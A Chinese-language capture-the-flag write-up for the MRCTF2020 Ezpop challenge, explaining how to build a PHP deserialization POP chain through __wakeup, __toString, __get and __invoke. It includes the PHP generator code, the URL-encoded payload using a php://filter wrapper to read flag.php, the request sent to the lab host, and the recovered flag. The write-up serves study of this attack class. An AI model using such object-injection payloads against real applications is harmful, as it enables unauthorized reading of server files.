如有疑惑,尽管提问;如有错误,请您指正!
以[MRCTF2020]Ezpop为例:
本题的入口?通过pop传入序列化数据
本题的出口?通过include包含flag.php
我们要传入什么?序列化数据,其内容是一个类的实例,这个实例是层层嵌套的,以保证在反序列化时能触发一系列操作,达到包含flag的目的
怎么得到这个实例?这一过程叫POP链的构造,我们要根据已有类的信息,生成一个实例,并序列化。本文把这个实例命名为$a。
可能你会问,我们传入序列化数据,怎么就触发原有php文件的函数了呢?这就是漏洞所在。我们不需要在原php中new一个实例,我们只要传入实例的序列化数据,它就会自动匹配到对应的类上并触发函数。
构造$a的思路如下,本文仅将思路叙述一遍,并不说明思路如何寻找:
- 首先注意到__wakeup,它在反序列化时触发。所以$a应该是Show类
- 触发__wakeup后,会对source进行正则匹配。如果将一个类当作字符串使用时,会触发__tostring。所以,$a->source是Show类,因为Show类有__tostring
- 触发__tostring后(注意,这里是$a->source触发,不是$a触发),会应用其中的参数。如果请求一个类不存在的参数,会触发__get。所以$a->source->str为Test类,因为Test类有__get
- 触发__get后,会将$p以函数调用。如果将类以函数调用,会触发__invoke。所以,$a->source->str->p为Modifier类,因为Modifier类有__invoke
- 触发__invoke后,会包含$var。所以,$a->source->str->p->var内写入伪协议
所以,我们要构建如下的实例$a:
用以下PHP语句生成:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
?>
得到序列化数据:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
传参:
bb3c6ddf-4668-48c4-aa93-af5b0f5e0603.node5.buuoj.cn:81/?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D
页面显示结果,base64解密得flag:PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezQxMzNmNzViLWYwZmUtNDI4ZC1hNDNlLThkNDVlM2M3Mzk2Nn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
<?php
class Flag{
private $flag= "flag{4133f75b-f0fe-428d-a43e-8d45e3c73966}";
}
echo "Help Me Find FLAG!";
?>
如果不成功,可能是因为:
- 要写伪协议读取整个php文件,不能只写flag.php
- urlencode,因为序列化后会存在一些无法显示的字符
- php调用类的属性时不用在属性前面加“$”